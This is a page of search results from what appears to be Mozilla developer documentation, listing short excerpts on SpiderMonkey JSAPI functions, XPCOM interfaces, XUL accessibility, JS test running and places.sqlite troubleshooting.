... each of these callbacks is responsible for everything involved with an individual property access operation, including: any locking necessary for thread safety; security checks; finding the property, including walking the prototype chain if needed; calling the lower-level jsclass hooks; calling getters or setters; and actually getting, setting, or deleting the property once it is found.
... contrast jsclass.getproperty, jsclass.setproperty, and jsclass.delproperty, which are hooks called during property accesses and don't have to implement any of that.
...And 2 more matches
JS_BeginRequest
syntax void js_beginrequest(jscontext *cx); void js_endrequest(jscontext *cx); name type description cx jscontext * the context in which the calling thread intends to call jsapi functions.
...in this reference, the cx parameter of such functions is documented with the phrase “requires request”, like this: name type description cx jscontext * the context to use.
...if one thread needs garbage collection, it blocks until each other thread makes a jsapi call.
...And 2 more matches
JS_CStringsAreUTF8
api users should switch to functions which take utf-8 explicitly or handle their own string encoding and decoding.
... option to have the jsapi treat char strings as utf-8.
...that is, each byte is treated as a unicode character, and there is no way to pass in a string containing characters beyond u+00ff.
...And 2 more matches
JS_ConstructObject
syntax jsobject * js_constructobject(jscontext *cx, jsclass *clasp, jsobject *proto, jsobject *parent); jsobject * js_constructobjectwitharguments(jscontext *cx, jsclass *clasp, jsobject *proto, jsobject *parent, unsigned int argc, jsval *argv); name type description cx jscontext * the context in which to create the new object.
...cx is a pointer to a context associated with the runtime in which to create the new object.
... for details on how we find the appropriate constructor and default prototype, see js_newobject: choosing a default prototype.
...And 2 more matches
JS_ConvertArgumentsVA
syntax bool js_convertargumentsva(jscontext *cx, const js::callargs &args, const char *format, va_list ap); bool js_convertargumentsva(jscontext *cx, unsigned argc, jsval *argv, const char *format, va_list ap); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...obsolete since jsapi 30 format const char * character array containing the recognized format to which to convert.
... ap va_list the list of pointers into which to store the converted types.
...And 2 more matches
JS_DefineFunction
syntax jsfunction * js_definefunction(jscontext *cx, js::handle<jsobject*> obj, const char *name, jsnative call, unsigned nargs, unsigned attrs); jsfunction * js_defineucfunction(jscontext *cx, js::handle<jsobject*> obj, const char16_t *name, size_t namelen, jsnative call, unsigned nargs, unsigned attrs); jsfunction * js_definefunctionbyid(jscontext *cx, js::handle<jsobject*> obj, js::handle<jsid> id, jsnative call, unsigned nargs, unsigned attrs); // added in spidermonkey 17 name type description cx jscontext * the context in which to define the fun...
... obj js::handle&lt;jsobject*&gt; object for which to define a function as a property (method).
... name const char * or const char16_t * name to assign to the function.
...And 2 more matches
JS_DefinePropertyWithTinyId
syntax jsbool js_definepropertywithtinyid( jscontext *cx, jsobject *obj, const char *name, int8 tinyid, jsval value, jspropertyop getter, jspropertyop setter, unsigned int attrs); jsbool js_defineucpropertywithtinyid( jscontext *cx, jsobject *obj, const jschar *name, size_t namelen, int8 tinyid, jsval value, jspropertyop getter, jspropertyop setter, unsigned int attrs); name type description cx jscontext * the context in which to define the property.
... obj jsobject * object for which to create the new property.
... name const char * or const jschar * name for the property to create.
...And 2 more matches
JS_DeleteProperty
syntax bool js_deleteproperty(jscontext *cx, js::handleobject obj, const char *name); bool js_deletepropertybyid(jscontext *cx, js::handleobject obj, jsid id); // added in spidermonkey 1.8.1 // added in spidermonkey 45 bool js_deleteproperty(jscontext *cx, js::handleobject obj, const char *name, js::objectopresult &result); bool js_deletepropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::objectopresult &result); bool js_deleteucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, js::objectopresult &result); name type description cx jscontext * pointer to a js context from which to derive runtime...
... obj js::handleobject object from which to delete a property.
... name or id const char * or jsid or const char16_t * name of the property to delete.
...And 2 more matches
JS_Enumerate
syntax jsidarray * js_enumerate(jscontext *cx, js::handleobject obj); name type description cx jscontext * the context in which to enumerate object properties.
...(the term own property refers to a property that is not inherited from the object's prototype.) this is not quite the same behavior as a javascript for...in loop, which converts all property ids to strings and also enumerates inherited properties.
...as long as obj is reachable, its current property ids are reachable.
...And 2 more matches
JS_ExecuteScriptVersion
syntax jsbool js_executescriptversion(jscontext *cx, jsobject *obj, jsobject *scriptobj, jsval *rval, jsversion version); name type description cx jscontext * the context in which to execute the script.
... obj jsobject * the scope in which to execute the script.
...instead: the scope chain is initialized to contain obj, followed by its parent, then its parent's parent, etc.
...And 2 more matches
JS_FileEscapedString
syntax bool js_fileescapedstring(file *fp, jsstring *str, char quote); name type description fp file * a file pointer to write into.
... quote char one of 0, single quote, and double quote.
... description js_fileescapedstring writes str into file fp escaping any non-printable or non-ascii character.
...And 2 more matches
JS_GetElement
syntax bool js_getelement(jscontext *cx, js::handleobject obj, uint32_t index, js::mutablehandlevalue vp); name type description cx jscontext * the context in which to perform the property lookup.
... obj js::handleobject the object to search for the element.
... description js_getelement examines a specified js object, obj, and its prototype chain, for an element or numeric property numbered index.
...And 2 more matches
JS_GetOwnPropertyDescriptor
syntax bool js_getownpropertydescriptor(jscontext *cx, js::handleobject obj, const char *name, js::mutablehandle<jspropertydescriptor> desc); bool js_getownpropertydescriptorbyid(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandle<jspropertydescriptor> desc); bool js_getownucpropertydescriptor(jscontext *cx, js::handleobject obj, const char16_t *name, js::mutablehandle desc); // added in spidermonkey 45 name type description cx jscontext * a context.
... obj js::handleobject the object to search for the property.
... id const char * or js::handleid or const char16_t the name of the property to look up.
...And 2 more matches
JS_HasElement
syntax bool js_haselement(jscontext *cx, js::handleobject obj, uint32_t index, bool *foundp); name type description cx jscontext * the context in which to perform the property lookup.
... obj js::handleobject the object to search for the element.
... description js_haselement examines a specified js object, obj, and its prototype chain, for an element or numeric property numbered index.
...And 2 more matches
JS_InternString
syntax jsstring * js_internstring(jscontext *cx, const char *s); jsstring * js_internstringn(jscontext *cx, const char *s, size_t length); jsstring * js_internucstring(jscontext *cx, const char16_t *s); jsstring * js_internucstringn(jscontext *cx, const char16_t *s, size_t length); name type description cx jscontext * a context.
... s const char * or const char16_t * pointer to a character array containing the data for the string.
... length size_t (only in js_internstringn and js_internucstringn) the length of s in characters.
...And 2 more matches
JS_IsIdentifier
syntax bool js_isidentifier(jscontext *cx, js::handlestring str, bool *isidentifier); bool js_isidentifier(const char16_t *chars, size_t length); // added in spidermonkey 38 name type description cx jscontext * pointer to a js context from which to derive runtime information.
... chars const char16_t * the pointer of the string to test.
... length size_t the length of chars.
...And 2 more matches
JS_NewGlobalObject
syntax jsobject * js_newglobalobject(jscontext *cx, const jsclass *clasp, jsprincipals *principals, js::onnewglobalhookoption hookoption, const js::compartmentoptions &options = js::compartmentoptions()); name type description cx jscontext * the context in which to create the new global object.
...these callbacks are arbitrary script, and can touch the global in arbitrary ways.
... if callers have no additional state on the global to set up, they may pass fireonnewglobalhook to js_newglobalobject, which causes that function to fire the hook as its final act before returning.
...And 2 more matches
JS_NewRuntime
bytes, uint32_t maxnurserybytes = js::defaultnurserybytes, jsruntime *parentruntime = nullptr); jsruntime * js_newruntime(uint32_t maxbytes, jsusehelperthreads usehelperthreads, jsruntime *parentruntime = nullptr); // deprecated since jsapi 32 name type description maxbytes uint32 maximum number of allocated bytes after which garbage collection is run.
...maxnurserybytes is rounded down to a multiple of chunk size.
...maxbytes specifies the number of allocated bytes after which garbage collection is run.
...And 2 more matches
JS_ParseJSON
syntax jsbool js_parsejson(jscontext *cx, const jschar *chars, uint32 len, jsval *vp); jsbool js_parsejsonwithreviver(jscontext *cx, const jschar *chars, uint32 len, jsval reviver, jsval *vp); name type description cx jscontext * pointer to a js context.
... ch jsobject * the object to be searched.
... chars const jschar * the characters of the string.
...And 2 more matches
JS_SET_TRACING_DETAILS
callback syntax typedef void (*jstracenameprinter)(jstracer *trc, char *buf, size_t bufsize); name type description trc jstracer * the tracer.
... buf char * out parameter.
... bufsize size_t the size of buf, in chars.
...And 2 more matches
JS_SetDestroyCompartmentCallback
this article covers features introduced in spidermonkey 17 set the callback function for each compartment being destroyed.
... callback jsdestroycompartmentcallback callback function which will be called for each compartment being destroyed (see below).
... compartmentcallback jscompartment * the pointer to the compartment which is to be destroyed.
...And 2 more matches
JS_SetInterruptCallback
callback syntax bool (* jsinterruptcallback)(jscontext *cx); name type description cx jscontext * pointer to a jscontext in which this callback was installed.
... to schedule the gc and for other activities the engine internally triggers interrupt callbacks.
...the embedding must ensure that the callback is disconnected before attempting such re-entry.
...And 2 more matches
JS_SetPropertyAttributes
syntax jsbool js_setpropertyattributes(jscontext *cx, jsobject *obj, const char *name, unsigned int attrs, jsbool *foundp); jsbool js_setucpropertyattributes(jscontext *cx, jsobject *obj, const jschar *name, size_t namelen, unsigned int attrs, jsbool *foundp); name type description cx jscontext * the context in which to set the property attributes.
... obj jsobject * object for which to set property attributes.
... name const char * or const jschar * name of the property for which to set attributes.
...And 2 more matches
JS_StringEqualsAscii
syntax bool js_stringequalsascii(jscontext *cx, jsstring *str, const char *asciibytes, bool *match); bool js_flatstringequalsascii(jsflatstring *str, const char *asciibytes); name type description cx jscontext * a context.
... asciibytes const char * ascii string to compare with.
... match bool * (js_stringequalsascii only) out parameter.
...And 2 more matches
JS_malloc
syntax void * js_malloc(jscontext *cx, size_t nbytes); void * js_realloc(jscontext *cx, void *p, size_t oldbytes, size_t newbytes); char * js_strdup(jscontext *cx, const char *s); void js_free(jscontext *cx, void *p); name type description cx jscontext * pointer to a js context.
... s const char * (js_strdup only) pointer to a null-terminated string.
...js_realloc tries to change the allocation size of the region of memory at p to nbytes.
...And 2 more matches
Running Automated JavaScript Tests
basic usage is: jstests.py path_to_js_shell or using mach: ./mach jstests note that mach will generally find the js shell itself; the --shell argument can be used to specify the location manually.
...for a smoke test or if you are not changing language-level functionality, you may wish to use jstests.py path_to_js_shell --exclude=test262 other options allow you to show the test command lines being run, command output and return codes, run tests named in a given file, exclude tests named in a given file, hide the progress bar, change the timeout, run skipped tests, print output in tinderbox format, run a test in the debugger, or...
... running jstest in a browser jstests also runs on browser, with the following command: ./mach jstestbrowser to run specific test, you can use --filter=pattern command-line argument, where pattern is a regexp pattern that is tested against file:///{path_to_obj_dir}/dist/test-stage/jsreftest/tests/jsreftest.html?test={relative_path_to_test_from_js/src/tests} string: ./mach jstestbrowser --filter=pattern running jstests on treeherder when viewing treeherder after a push to the mozilla repositories, jstests run in the browser are s...
...And 2 more matches
XUL Accessibility
it is much in progress.
...aggregating the text from element subtree if the child node is hidden then it's ignored excepting the case when the element used as label is hidden itself if the child node is text node then its rendered value is appended if the child node is element then if it implements nsidomxullabeledcontrolelement then the value of label property is appended otherwise if it's a label element then then value attribute is appended otherwise append tooltiptext attribute append the accessible value searching specific element in neighbour of the element search inside the element subtree go up through parents (max level is 5) and search inside theirs subtrees if the element is anonymous then sea...
...rch in whole anonymous subtree, here the attribute anonid is used instead of id attribute accessible properties this section describes common rules how accessibility properties are formed for xul elements.
...And 2 more matches
places.sqlite Database Troubleshooting
create a folder to use temporarily for this work, such as my_work_folder.
... then open an sqlite shell: my_work_folder> sqlite3 places.sqlite-corrupt sqlite> pragma integrity_check; if the result is ok, this guide won't help; stop here and please file a bug.
... sqlite> .exit open a new shell for the new database: my_work_folder> sqlite3 places.sqlite sqlite> pragma integrity_check; if the result is not ok, the file cannot be recovered; stop here and please file a bug.
...And 2 more matches
The Publicity Stream API
the publicity stream is provided as a central place for applications to publicize application usage for the purpose of notifying a user's friends of the applications which their friends are using.
...this spawns a doorhanger which allows the user to specify which users can view the activity, and (following successful login and authorization with the stream server) registers the activity in a stream at [address].
...possible error codes include: denied - if the user refuses to publicize the activity permissiondenied - if the publicizing site is not allowed to post to the publicity stream networkerror - if the publicity server is unreachable activityparseerror - if the activity contains syntax errors (not proper json) invalidactivity - if the activity contains semantic errors (i.e.
...And 2 more matches
Generating GUIDs
canonical form the common form of a guid is xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx, where each x stands for a hexadecimal digit.
... note: if you do choose to use an email-style id for your add-on, you probably don't want it to be a real email address, since it might attract spam.
... online tools generate guid online uuid (guid) generator on the web uuid generator for mozilla code (both idl and c++.h forms) you can get a guid from one of the bots (such as botbot, firebot) on #firefox irc channel by /msging "uuid" to them.
...And 2 more matches
Creating XPCOM components
though the emphasis is on the practical steps you take to make your c++ code into a component that can be used in gecko, we hope that these steps will also give us an occasion to discuss all of the tools, techniques, and technologies that make up xpcom.
...for example, the introduction includes a discussion of components and what they are, and the first chapter - in which you compile the basic code and register it with mozilla - prompts a discussion of the relationship between components and modules, of xpcom interfaces, and of the registration process in general.
...add-ons should try to use the new add-on sdk as much as possible; however, there may be cases when it's unavoidable.
...And 2 more matches
Components.isSuccessCode
syntax var succeeded = components.issuccesscode(returncode); parameters returncode the return code (of type nsresult) to be checked.
...however, if you are using asynchronous apis, it may be essential.
... for example, if you ask a component or service to asynchronously perform some task, you must usually pass in an object which will be notified when the task is completed.
...And 2 more matches
Components.utils.import
gecko 2.0 adds support for loading modules from chrome: urls, even those inside jar archives.
... syntax components.utils.import(url [, scope]); // or, if you use a tool such as jslint which reports compiler errors for the above, components.utils["import"](url [, scope]); parameters url a string of the url of the script to be loaded.
... use of the return value is discouraged since it grants access to the module's internal properties which are not part of its public api.
...And 2 more matches
XPCshell Test Manifest Expressions
strings: any series of characters enclosed in double quotes " or single quotes '.
...there are a fixed set of variables provided by the test harness via mozinfo.py, with many of the values initialized at configure time by writemozinfo.py which writes mozinfo.json into the root of the build directory.
...note that it currently seems like neither this list nor the one on the official docs is exhaustive, so if you need something and it's not here, best check the source code!
...And 2 more matches
Insert
aposition [in] an offset into the string's internal buffer specifying where to place the given characters.
... void insert( const char_type* adata, index_type aposition, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to this string.
... aposition [in] an offset into the string's internal buffer specifying where to place the given characters.
...And 2 more matches
operator=
return values this operator returns a reference back to the object being modified to allow operator chaining.
... self_type& operator=( const char_type* adata ); parameters adata [in] a raw character array to append to this string.
... return values this operator returns a reference back to the object being modified to allow operator chaining.
...And 2 more matches
operator+=
return values this operator returns a reference back to the object being modified to allow operator chaining.
... self_type& operator+=( const char_type* adata ); parameters adata [in] a raw character array to append to this string.
... return values this operator returns a reference back to the object being modified to allow operator chaining.
...And 2 more matches
Insert
aposition [in] an offset into the string's internal buffer specifying where to place the given characters.
... void insert( const char_type* adata, index_type aposition, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to this string.
... aposition [in] an offset into the string's internal buffer specifying where to place the given characters.
...And 2 more matches
operator=
return values this operator returns a reference back to the object being modified to allow operator chaining.
... self_type& operator=( const char_type* adata ); parameters adata [in] a raw character array to append to this string.
... return values this operator returns a reference back to the object being modified to allow operator chaining.
...And 2 more matches
amIInstallTrigger
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean enabled(); boolean install(in nsivariant aargs, [optional] in amiinstallcallback acallback); boolean installchrome(in pruint32 atype, in astring aurl, in astring askin); deprecated since gecko 2.0 boolean startsoftwareupdate(in astring aurl, [optional] in print32 aflags); deprecated since gecko 2.0 boolean updateenabled(); deprecated since gecko 2.0 constants retained for backwards compatibility.
...this should be a js object, each property is the name of an add-on to be installed.
... acallback optional a callback to call as each installation succeeds or fails.
...And 2 more matches
nsIAccessibleEditableText
it also includes and support basic operations such as, inserting text, copying text, cutting text, pasting text and deleting text at the specified position.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void copytext(in long startpos, in long endpos); void cuttext(in long startpos, in long endpos); void deletetext(in long startpos, in long endpos); void inserttext(in astring text, in long position); void pastetext(in long position); void setattributes(in long startpos, in long endpos, in nsisupports attributes); unimplemented void settextcontents(in astring text); attributes attribute type description associatededitor nsieditor returns an editor associated with the accessible.
... position the offset at which to insert the text.
...And 2 more matches
nsIAccessibleProvider
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) attributes attribute type description accessible nsiaccessible read only.
... xul controls constants constant value description xulalert 0x00001001 xulbutton 0x00001002 xulcheckbox 0x00001003 xulcolorpicker 0x00001004 xulcolorpickertile 0x00001005 xulcombobox 0x00001006 xuldropmarker 0x00001007 xulgroupbox 0x00001008 xulimage 0x00001009 xullink 0x0000100a xullistbox 0x0000100b xullistcell 0x00001026 xullisthead 0x00001024 xullistheader 0x00001025 xullistitem 0x0000100c xulmenubar 0x0000100d xulmenuitem 0x0000100e...
... xformschoices 0x00002010 used for xforms choices element.
...And 2 more matches
nsIAccessibleRelation
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: be carefull, do not change constants until atk has a structure to map gecko constants into atk constants.
...when there is more than one object in the group each member may have one and the same target, for example a grouping object.
... it is also possible that each member has multiple additional targets, for example one for every other member in the group.
...And 2 more matches
nsIApplicationUpdateService
toolkit/mozapps/update/nsiupdateservice.idlscriptable this interface describes a global application service that handles performing background update checks.
... it also provides utilities for selecting and downloading update patches.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void adddownloadlistener(in nsirequestobserver listener); astring downloadupdate(in nsiupdate update, in boolean background); void pausedownload(); void removedownloadlistener(in nsirequestobserver listener); nsiupdate selectupdate([array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount); attributes attribute type description backgroundchecker nsiupdatechecker the update checker being used for background update checking.
...And 2 more matches
nsIAsyncStreamCopier
inherits from: nsirequest last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void asynccopy(in nsirequestobserver aobserver, in nsisupports aobservercontext); void init(in nsiinputstream asource, in nsioutputstream asink, in nsieventtarget atarget, in boolean asourcebuffered, in boolean asinkbuffered, in unsigned long achunksize, in boolean aclosesource, in boolean aclosesink); methods asynccopy() starts the copy operation.
...void init( in nsiinputstream asource, in nsioutputstream asink, in nsieventtarget atarget, in boolean asourcebuffered, in boolean asinkbuffered, in unsigned long achunksize, in boolean aclosesource, in boolean aclosesink ); parameters asource contains the data to be copied.
...atarget specifies the thread on which the copy will occur.
...And 2 more matches
nsIAuthPromptWrapper
the nsiauthpromptwrapper interface is an override of nsiauthprompt which performs some action on the data going through nsiauthprompt methods.
... persisting data from the prompts and using it to pre-fill subsequent prompts would be one such action.
... embedding/components/windowwatcher/public/nsiauthpromptwrapper.idlscriptable please add a summary to this article.
...And 2 more matches
nsICategoryManager
xpcom/components/nsicategorymanager.idlscriptable this interface provides access to a data structure that holds a list of name-value pairs, called categories, where each value is a list of strings.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/categorymanager;1.
... return value a simple enumerator, each result qis to nsisupportscstring.
...And 2 more matches
nsIContentSniffer
components implementing this interface can determine a mime type from a chunk of bytes.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) to implement this interface use net-content-sniffers category.
...method overview acstring getmimetypefromcontent(in nsirequest arequest, [const,array,size_is(alength)] in octet adata, in unsigned long alength); methods getmimetypefromcontent() given a chunk of data, determines a mime type.
...And 2 more matches
nsICookiePromptService
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview long cookiedialog(in nsidomwindow parent, in nsicookie cookie, in acstring hostname, in long cookiesfromhost, in boolean changingcookie, out boolean rememberdecision); constants constant value description deny_cookie 0 holds the value for a denying the cookie.
... long cookiedialog( in nsidomwindow parent, in nsicookie cookie, in acstring hostname, in long cookiesfromhost, in boolean changingcookie, out boolean rememberdecision ); parameters parent the parent window for the dialog.
... cookie the cookie about which permission is being requested.
...And 2 more matches
nsICryptoHMAC
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm, in nsikeyobject akeyobject); void reset(); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long alen); constants hashing algorithms.
... these values are to be used by the init() method to indicate which hashing function to use.
... these values map onto the values defined in mozilla/security/nss/lib/softoken/pkcs11t.h and are switched to ckm_*_hmac constant.
...And 2 more matches
nsIDOMHTMLSourceElement
the nsidomhtmlsourceelement interface is the dom interface to the source child of the audio and video media elements in html.
... last changed in gecko 1.9.1.2 inherits from: nsidomhtmlelement the source element allows authors to specify multiple media resources for media elements.
...note that dynamically manipulating this value after the page has loaded has no effect on the containing element; instead, change the src attribute of that element (audio or video) instead.
...And 2 more matches
nsIDOMStorage2
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void clear(); domstring getitem(in domstring key); domstring key(in unsigned long index); void removeitem(in domstring key); void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in lo...
...domstring getitem( in domstring key ); parameters key the key for which data should be returned.
...domstring key( in unsigned long index ); parameters index the index for which the corresponding key should be returned.
...And 2 more matches
nsIDOMStorageEventObsolete
dom/interfaces/storage/nsidomstorageeventobsolete.idlscriptable this interface represents an event that occurs to notify interested parties about changes to the contents of a dom storage space; it is used for both session storage and local storage.
... 1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsidomevent last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) when a dom storage event is received, the recipient can check its domain attribute to determine which domain's data store has changed.
... if the value of the domain attribute is "#session", then the session storage has changed.
...And 2 more matches
nsIDOMStorageManager
dom/interfaces/storage/nsidomstoragemanager.idlscriptable this interface provides methods for managing data stored in the offline apps cache.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by @mozilla.org/dom/storagemanager;1 as a service: var domstoragemanager = components.classes["@mozilla.org/dom/storagemanager;1"] .getservice(components.interfaces.nsidomstoragemanager); method overview void clearofflineapps(); nsidomstorage getlocalstorageforprincipal(in nsiprincipal aprincipal, in domstring adocumenturi); long getusage(in astring aownerdomain); methods clearofflineapps() clears keys owned by offline applications.
...nsidomstorage getlocalstorageforprincipal( nsiprincipal aprincipal, domstring adocumenturi ); parameters aprincipal the principal for which to return the local storage object.
...And 2 more matches
nsIDocumentLoader
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/docloaderservice;1.
...umentloader = components.classes["@mozilla.org/docloaderservice;1"] .createinstance(components.interfaces.nsidocumentloader); method overview void clearparentdocloader(); obsolete since gecko 1.8 void createdocumentloader(out nsidocumentloader aninstance); obsolete since gecko 1.8 void destroy(); obsolete since gecko 1.8 void fireonlocationchange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri auri); obsolete since gecko 1.8 void fireonstatuschange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage); obsolete since gecko 1.8 void getcontentviewercontainer(in nsisupports adocumentid, out nsicontentviewercontainer aresult); native code only!
... documentchannel nsichannel read only.
...And 2 more matches
nsIDragDropHandler
use this to register where the listeners should attach (something that implements nspidomeventtarget which is what we end up using under the hood).
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void detach(); void hookupto(in nsidomeventtarget attachpoint, in nsiwebnavigation navigator); methods detach() unregisters all handlers related to drag and drop.
... void detach(); parameters none.
...And 2 more matches
nsIEventListenerInfo
content/events/public/nsieventlistenerservice.idlscriptable an instance of this interface describes how an event listener was added to an event target; these are returned by nsieventlistenerservice.getlistenerinfofor, which provides a list of all the listeners to a given event target.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview nsisupports getdebugobject(); astring tosource(); attributes attribute type description allowsuntrusted boolean indicates whether or not the event listener allows untrusted events.
... type astring the type of the event for which the listener was added.
...And 2 more matches
nsIFileView
inherits from: nsisupports last changed in gecko 1.7 note: nsifileview is linux-only interface.
...the nsifileview provides a configuration interface to @mozilla.org/filepicker/fileview;1 , which also implements nsitreeview so that it can be passed as a tree view.
... selectedfiles nsiarray an nsiarray of selected files, which contains nsiarray instances.
...And 2 more matches
nsILoginMetaInfo
this data can usually be ignored by most users of the login manager, which will create and maintain appropriate default values.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) you can specifically modify these values by passing changes into nsiloginmanager.modifylogin() using an nsipropertybag2 object as the input.
...for example, "{d4e1a1f6-5ea0-40ee-bff5-da57982f21cf}" timecreated unsigned long long the time, in unix epoch milliseconds, when the login was first created.
...And 2 more matches
nsIMacDockSupport
1.0 66 introduced gecko 2.0 inherits from: nsimacdocksupport last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) implemented by: @mozilla.org/cookie-monster;1.
.../there.is.only.xul', 'menuitem'); macmenuitem.setattribute('label', 'show most recent window'); macmenuitem.setattribute('id', 'mymacmenuitem'); macmenuitem.addeventlistener('command', function(){ var docksupport = cc['@mozilla.org/widget/macdocksupport;1'].getservice(ci.nsimacdocksupport); docksupport.activateapplication(true); services.wm.getmostrecentwindow(null).focus() }) macmenu.appendchild(macmenuitem); var mainpopupset = win.document.getelementbyid('mainpopupset'); mainpopupset.appendchild(macmenu); let dockmenuelement = macmenu; //document.getelementbyid("menu_mac_dockmenu");66 let nativemenu = cc["@mozilla.org/widget/standalonenativemenu;1"].createinstance(ci.nsistandalonenativemenu); console.log('dockmenuelement:', dockmenuelement); nativemenu.init(dockmenuelement); docks...
...therefore, if you would like to add or remove items to the menu it is recommended to manipulate the default menu item which is on the hidden window of firefox.
...And 2 more matches
nsIMemoryReporter
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) any piece of code that wishes to allow its memory use to be monitored may create an nsimemoryreporter object and then register it by calling nsimemoryreportermanager.registerreporter().
... note: this interface is undergoing heavy development, and is subject to rapid changes.
...paths are delimited with '/' characters to allow a hierarchy of memory to be displayed in about:memory.
...And 2 more matches
nsIMessageBroadcaster
methods void broadcastasyncmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects); nsimessagelistenermanager getchildat(in unsigned long aindex); broadcastasyncmessage() like sendasyncmessage(), but also broadcasts this message to all "child" message managers of this message manager.
... an object each of whose properties is an object.
... this becomes the objects property of the received message, with each original object replaced with a cross process object wrapper for it.
...And 2 more matches
nsIMessageListener
listeners are attached using the nsimessagelistenermanager interface.
... if the message was sent from a frame script using a nsicontentframemessagemanager, then this property is the xul <browser> element for the frame from which the message was sent.
... each listener is invoked with its own copy of the message parameter.
...And 2 more matches
nsIMsgDBViewCommandUpdater
the nsimsgdbviewcommandupdater interface controls changes that occur as the selection changes.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports in thunderbird this is implemented for different windows in several different places: nsmsgdbviewcommandupdater (for the standalone message window) nsmsgdbviewcommandupdater (for the threadpane message window) nsmsgsearchcommandupdater (for search dialogs) method overview void updatecommandstatus(); void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords); void updatenextmessageafterdelete(); methods updatecommandstatus() called when the number of selected items changes.
... displaymessagechanged() called when the displayed message has changed.
...And 2 more matches
nsIPlacesImportExportService
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) in the past, this interface also offered methods for importing places data, but those methods are now part of the bookmarkhtmlutils.jsm javascript code module.
... exporthtmltofile() saves the current bookmarks hierarchy to a bookmarks.html file.
... loads the given bookmarks.html file and replaces it with the current bookmarks hierarchy (if aisinitialimport is true) or appends it (if aisinitialimport is false).
...And 2 more matches
nsIProcess
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/process/util;1.
... args an array of count arguments, using the native character set, to be passed to the executable on its command line.
... runasync() asynchronously runs the process with which the object was initialized, optionally calling an observer when the process finishes running.
...And 2 more matches
nsIRadioInterfaceLayer
1.0 66 introduced gecko 12.0 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) implemented by: @mozilla.org/telephony/system-worker-manager;1.
...messagesfortext(in domstring text); void hangup(in unsigned long callindex); void registercallback(in nsiriltelephonycallback callback); void registerdatacallcallback(in nsirildatacallback callback); void rejectcall(in unsigned long callindex); void sendsms(in domstring number, in domstring message, in long requestid, in unsigned long long processid); void setupdatacall(in long radiotech, in domstring apn, in domstring user, in domstring passwd, in long chappap, in domstring pdptype); void starttone(in domstring dtmfchar); void stoptone(); void unregistercallback(in nsiriltelephonycallback callback); void unregisterdatacallcallback(in nsirildatacallback callback); attributes attribute type description currentstate jsval read only.
...exceptions thrown missing exception missing description getnumberofmessagesfortext() returns the number of multi-part sms needed for a given text (160 characters for one sms).
...And 2 more matches
nsISmsService
dom/sms/interfaces/nsismsservice.idlscriptable used to send sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsservice;1.
... delivery a domstring which can either be "received" or "sent" and is representing the way the sms was delivered.
... return value a smsmessage getnumberofmessagesfortext() unsigned short getnumberofmessagesfortext( in domstring text ); parameters text a domstring text to check.
...And 2 more matches
nsISpeculativeConnect
1.0 66 introduced gecko 15.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) to use this service, simply call nsisupports.queryinterface() on the nsiioservice you plan to use for the connection, to get access to the i/o service's implementation of nsispeculativeconnect.
...no obligation is taken on by the implementer, nor is the submitter obligated to actually open the new channel.
